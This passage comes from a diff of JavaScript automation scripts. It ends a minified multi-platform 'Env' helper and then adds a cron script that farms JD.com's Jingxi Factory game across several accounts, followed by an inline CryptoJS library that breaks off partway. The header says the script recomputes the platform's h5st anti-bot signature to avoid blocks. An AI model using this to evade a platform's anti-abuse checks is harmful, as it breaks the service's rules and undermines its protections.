Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_dreamFactory.js b/jd_dreamFactory.js new file mode 100644 index 0000000..1d694cb --- /dev/null +++ b/jd_dreamFactory.js @@ -0,0 +1,1727 @@ +/* +京东京喜工厂 +更新时间:2021-6-25 +修复做任务、收集电力出现火爆,不能完成任务,重新计算h5st验证 +参考自 :https://www.orzlee.com/web-development/2021/03/03/lxk0301-jingdong-signin-scriptjingxi-factory-solves-the-problem-of-unable-to-signin.html +活动入口:京东APP-游戏与互动-查看更多-京喜工厂 +或者: 京东APP首页搜索 "玩一玩" ,造物工厂即可 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜工厂 +10 * * * * jd_dreamFactory.js, tag=京喜工厂, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "10 * * * *" script-path=jd_dreamFactory.js,tag=京喜工厂 + +===============Surge================= +京喜工厂 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_dreamFactory.js + +============小火箭========= +京喜工厂 = type=cron,script-path=jd_dreamFactory.js, cronexpr="10 * * * *", timeout=3600, enable=true + + */ +// prettier-ignore +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 